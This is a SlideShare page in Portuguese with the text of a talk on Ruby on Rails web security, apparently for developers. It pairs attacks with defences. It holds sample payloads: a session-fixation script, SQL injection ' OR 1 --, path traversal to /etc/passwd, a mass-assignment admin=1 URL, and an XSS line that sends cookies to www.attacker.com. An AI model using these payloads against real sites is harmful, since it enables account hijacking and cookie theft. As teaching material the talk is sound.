Baixado 49 vezes
![Mass Assignment
http://www.example.com/user/signup?
user[user]=ow3ned&user[admin]=1](https://image.slidesharecdn.com/2010-01-28-seguranaerubyonrails-100128202235-phpapp01/85/Seguranca-Ruby-on-Rails-53-320.jpg)
![Whitelist rula!
• before_filter :only => [...] ao invés de
before_filter :except => [...]
• attr_accessible ao invés de attr_protected
• Permita somente <strong> ao invés de
remover <script>](https://image.slidesharecdn.com/2010-01-28-seguranaerubyonrails-100128202235-phpapp01/85/Seguranca-Ruby-on-Rails-75-320.jpg)
Carregado porJulio Monteiro
Segurança & Ruby on Rails
O documento discute vários tópicos relacionados à segurança em aplicações Ruby on Rails, incluindo sessões, roubo de sessão, ataques de replay, session fixation, armazenamento de sessões, CSRF, injeções, XSS e dicas para interface administrativa.
Mais conteúdo relacionado
Semelhante a Segurança & Ruby on Rails
Segurança & Ruby on Rails
- 1. Segurança & Ruby onRails http://julio.monteiro.eti.br
- 2.
- 3.
- 4.
- 6.
- 7. Sessões • HTTP éum protocolo stateless • Sessão é identificada por um cookie (contendo uma identificação e um hash) • Enviado do servidor para o cliente, e do cliente para o servidor
- 9.
- 10. Roubo de Sessão •Roubo de um arquivo de cookie por um “atacante” • Permite que o atacante aja em nome da vítima
- 11. Como uma sessãopode ser roubada? Roubo Como combater? Sniffers em uma rede SSL (https) Utilizar computadores Botão “logout”, “públicos” expirar sessão Session Fixation (mais adiante) XSS (mais adiante)
- 12. Dica: Nunca armazene objetos grandesem uma sessão.
- 13. Dica: Nunca armazene informações críticas em uma sessão.
- 14. Como uma sessãoé armazenada?
- 15. Como uma sessãoé armazenada? • ActiveRecordStore: armazena no banco de dados (tabela “sessions”) • CookieStore: armazena em um cookie do usuário
- 17. Replay Attack no CookieStore
- 18. Replay Attack no CookieStore 1. Usuário ativa um cupom de presente na sua loja online, ficando com R$50 de crédito (armazenado na sessão) 2. Usuário compra algo custando R$40 3. Sessão agora armazena que usuário tem R$10 4. Usuário sobreescreve a sessão atual pela sessão inicial, ficando com R$50 novamente
- 19.
- 20. Session Fixation <script> document.cookie="_session_id=16d5b78abb 28e3d6206b60f22a03c8d9"; </script>
- 21.
- 22. Como combater SessionFixation? Utilize reset_session ao realizar login e/ou armazenar algo do usuário (como IP ou navegador).
- 23.
- 24. Expirando sessões • Expire-asde tempo em tempo (com base no updated_at e no created_at) • Um simples rake no crontab já resolve
- 25.
- 26. CSRF • Cross-Site RequestForgery • Trata-se de aproveitar da sessão de um usuário, forçando-o (muitas vezes sem saber) a realizar determinada ação
- 27.
- 28. Como combater CSRF? Utilize os métodos HTTP da maneira correta (GET e POST, obrigatoriamente; e PUT e DELETE se possível)
- 31. Como combater CSRF? •Utilize os métodos HTTP da maneira correta (GET e POST, obrigatoriamente; e PUT e DELETE se possível) • Utilize um token
- 32. Como combater CSRF? •Utilize os métodos HTTP da maneira correta (GET e POST, obrigatoriamente; e PUT e DELETE se possível) • Utilize um token
- 33.
- 34. Injeção em Redirecionamentos http://www.example.com/site/legacy? param1=xy¶m2=23& host=www.attacker.com
- 35. Como combater injeções emRedirecionamentos? Não aceite URLs (ou partes dela) como parâmetro.
- 36.
- 37. Uploads de arquivos • Algumas (várias?) aplicações aceitam uploads, recebendo um arquivo e um nome de arquivo. • Se você armazena os arquivos em /var/ www/uploads, imagine se alguém fizer upload de um arquivo chamado ../../../etc/passwd ?
- 38. Como combater uploads maliciosos? Evite receber o nome do arquivo, ou crie um filtro com expressão regular.
- 39.
- 40. DoS por uploads • Se seu site processa arquivos (como imagens, gerando miniaturas), nunca faça-o sincronamente. • Imagine alguém enviando milhares de arquivos ao mesmo tempo?
- 41. Como combater DoS por uploads? Processe arquivos assincronamente (em um daemon ou em um cron); se possível, até em uma máquina separada.
- 42.
- 43. Upload de executáveis •Você terá problemas se armazenar seus arquivos em algum local "autorizado" a executar executáveis (como .CGI no Apache Document Directory do seu Virtual Host)
- 44. Como combater DoS por uploads? Simplesmente tenha certeza que seu servidor web não está executando arquivos naquele diretório.
- 45.
- 46. Downloads não autorizados • Evite que os usuários "escolham" o que querem baixar, como em:
- 47. Downloads não autorizados • Evite que os usuários "escolham" o que querem baixar, como em:
- 48. Como combater downloads não autorizados?
- 49. Como combater downloads não autorizados? Opcionalmente, armazene o nome do arquivo no banco de dados, identificando- o para o usuário através de um id.
- 50.
- 51. Mass Assignment • Vocêsabia que o "script/generate scaffold" não gera o código mais completo e seguro do mundo? :)
- 52.
- 53.
- 54. Como combater aproveitamentos do mass assignment?
- 55. Como combater aproveitamentos do mass assignment? Modo paranóico:
- 56. Força bruta no logindo usuário
- 57. Como combater ataque de força bruta? CAPTCH depois de determinadas tentativas falhas de login. Utilize uma mensagem de erro genérica, como “usuário OU senha inválido, tente novamente”.
- 58.
- 59. Hijacks diversos • Senhas:requira que o usuário digite a antiga senha para conseguir mudar.
- 60. Hijacks diversos • Senhas:requira que o usuário digite a antiga senha para conseguir mudar. • Email: requira que o usuário digite a antiga senha para conseguir mudar
- 61. Hijacks diversos • Senhas:requira que o usuário digite a antiga senha para conseguir mudar. • Email: requira que o usuário digite a antiga senha para conseguir mudar • Outros: lembra do “problema” do GMail?
- 62.
- 63.
- 64. Informações sensíveis no Log
- 65.
- 66.
- 67.
- 68.
- 69. Como combater aproveitamento de expressões regulares? Use A ao invés de ^ Use Z ao invés de $
- 70.
- 71. Escalação de privilégios http://www.example.com/projects/1
- 72.
- 73. Como combater aproveitamento de expressões regulares?
- 74.
- 75. Whitelist rula! • before_filter:only => [...] ao invés de before_filter :except => [...] • attr_accessible ao invés de attr_protected • Permita somente <strong> ao invés de remover <script>
- 76.
- 77. Injeção SQL ' OR 1 -- SELECT * FROM projects WHERE name = '' OR 1 --'
- 78.
- 79.
- 80. XSS • Cross SiteScripting • Atualmente é o tipo de ataque mais comum, segundo a Symantec Global Internet Security Threat Report. • Mais de 510.000 sites tiveram este tipo de ataque só em abril de 2008. • Diversas ferramentas para auxiliar estes ataques, como o MPack.
- 81.
- 82. XSS: Injeção JavaScript <script>alert('Hello');</script> <table background="javascript:alert('Hello')">
- 83. XSS: Roubo deCookie
- 84. XSS: Roubo deCookie <script>document.write(document.cookie);</script> <script>document.write('<img src="http:// www.attacker.com/' + document.cookie + '">');</script>
- 85.
- 86. XSS: Defacement <iframe name=”StatPage”src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
- 87. Como combater estes ataques XSS? Limpe a “entrada” do usuário com o método sanatize. Limpe a “saída” (impressão) com escapeHTML(), também chamado de h(). <%=h @user.name %>
- 88.
- 89.
- 90. Como combater estes ataqueXSS de injeção CSS? Evite CSS personalizado.
- 91. Dicas sobre ainterface administrativa
- 92. Dicas sobre ainterface administrativa • Coloque-a em um subdomínio distinto, como admin.campusparty.com.br. Isso evita truques com Cookies. • Se possível, limite o acesso administrativo a um número restritos de IP (ou a uma faixa). • Que tal uma senha especial para ações importantes, como deletar usuários?
- 93.
- 94.
- 95.
- 96. Segurança & Ruby onRails http://julio.monteiro.eti.br